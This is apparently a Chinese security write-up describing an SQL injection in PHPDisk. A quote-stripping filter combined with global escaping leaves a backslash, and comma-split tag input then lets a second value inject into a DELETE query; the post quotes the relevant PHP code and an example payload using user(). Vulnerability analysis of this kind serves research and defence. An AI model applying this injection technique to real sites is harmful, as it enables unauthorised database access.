漏洞作者: ′king
发现竟然报错了。
看了一下所执行的语句
delete from pd_file2tag where file_id='1' and tag_name not in ('asd/')
因为phpdisk有全局转义 这样就知道肯定是有个过滤函数 把单引号替换空了
就留下了转义符 但是只有一个参数可控 能引入单引号也没啥用啊。
在modules/public.inc.php中
[php]
$tag_arr = explode(',',$tags);
if(count($tag_arr) >5){
$error = true;
$sysmsg[] = __('too_many_tags');
}
}
[/php]
[php]
if($settings['open_tag']){
make_tags($tags,$tag_arr,$file_id);
}
[/php]
可以看到 是用逗号来切割的 然后就能引入多个参数了。
delete from pd_file2tag where file_id='1' and tag_name not in ('asd/','xxxxxxxxxxxxx')
此时就有两个参数了。
然后就
delete from pd_file2tag where file_id='1' and tag_name not in ('asd/',',user() and '') 之类的了。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论